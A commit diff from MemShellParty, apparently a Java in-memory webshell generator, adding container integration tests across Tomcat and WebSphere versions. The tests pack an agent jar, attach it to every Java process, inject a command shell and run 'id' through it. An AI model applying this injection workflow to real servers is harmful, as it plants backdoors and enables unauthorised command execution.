mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support agent attacher list java processes and attach all
This commit is contained in:
@@ -26,7 +26,7 @@ hamcrest = "3.0"
|
|||||||
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
||||||
junit-pioneer = "2.3.0"
|
junit-pioneer = "2.3.0"
|
||||||
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
||||||
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||||
|
|
||||||
[libraries]
|
[libraries]
|
||||||
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
||||||
|
|||||||
@@ -503,4 +503,52 @@ public class ShellAssertion {
|
|||||||
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
|
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
|
||||||
));
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
Packers packer = Packers.AgentJarWithJREAttacher;
|
||||||
|
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft();
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
|
||||||
|
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
|
||||||
|
|
||||||
|
// Pack and copy to container
|
||||||
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||||
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
|
Files.write(tempJar, bytes);
|
||||||
|
String jarPath = "/listProcessTest.jar";
|
||||||
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
|
|
||||||
|
// Test 1: List processes (no args)
|
||||||
|
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
|
||||||
|
String listStdout = listResult.getStdout();
|
||||||
|
if (listStdout.contains("executable file not found")) {
|
||||||
|
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
|
||||||
|
listStdout = listResult.getStdout();
|
||||||
|
}
|
||||||
|
log.info("list processes output:\n{}", listStdout);
|
||||||
|
System.out.println("list stderr: " + listResult.getStderr());
|
||||||
|
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
|
||||||
|
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
|
||||||
|
|
||||||
|
// Test 2: Attach all
|
||||||
|
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
|
||||||
|
String attachStdout = attachResult.getStdout();
|
||||||
|
if (attachStdout.contains("executable file not found")) {
|
||||||
|
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
|
||||||
|
attachStdout = attachResult.getStdout();
|
||||||
|
}
|
||||||
|
log.info("attach all output:\n{}", attachStdout);
|
||||||
|
System.out.println("attach all stderr: " + attachResult.getStderr());
|
||||||
|
assertThat("Attach all should complete with ok", attachStdout, containsString("ok"));
|
||||||
|
|
||||||
|
// Test 3: Verify shell injection was successful
|
||||||
|
String paramName = ((CommandConfig) shellToolConfig).getParamName();
|
||||||
|
commandIsOk(shellUrl, shellType, paramName, "id");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -46,4 +48,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,6 +15,7 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,13 +23,18 @@ import java.net.MalformedURLException;
|
|||||||
import java.net.URISyntaxException;
|
import java.net.URISyntaxException;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.ByteOrder;
|
||||||
import java.security.CodeSource;
|
import java.security.CodeSource;
|
||||||
import java.security.PrivilegedAction;
|
import java.security.PrivilegedAction;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
